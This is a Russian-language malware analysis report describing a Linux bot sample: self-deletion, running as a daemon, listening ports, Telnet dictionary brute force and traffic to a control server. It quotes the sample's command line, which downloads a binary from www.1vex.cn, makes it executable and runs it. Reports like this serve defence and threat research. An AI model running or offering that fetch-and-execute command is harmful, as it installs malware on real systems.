Техническая информация
Вредоносные функции:
Самоудаляется
Запускает себя в качестве демона
Запускает процессы:
- sh -c wget http://www.1vex.cn/n2; chmod 777 *; ./n2 wget.echo.telnet.mips
- wget http://www.1vex.cn/n2
- chmod 777 n2 run.sh stdout.log
- ./n2 wget.echo.telnet.mips
Завершает следующие процессы:
- /root/n2
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/n2
- /root/run.sh
Создает или модифицирует файлы:
- /root/n2
Сетевая активность:
Ожидает входящих соединений на портах:
- 0.0.0.0:23
- 0.0.0.0:1997
- 0.0.0.0:80
- 0.0.0.0:81
- 0.0.0.0:8443
- 0.0.0.0:9009
- 0.0.0.0:1943
- 0.0.0.0:1991
- 0.0.0.0:1338
- 0.0.0.0:48101
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
- 8.#.8.8:53
- 62.###.207.229:89
Проводит атаку перебором по словарю (брутфорс) по протоколу Telnet.
HTTP GET-запросы:
- ww#.#vex.cn/n2
DNS ASK:
- ww#.1vex.cn
Посылает данные следующим серверам:
- 62.###.207.229:89
Получает данные от следующих серверов:
- 62.###.207.229:89
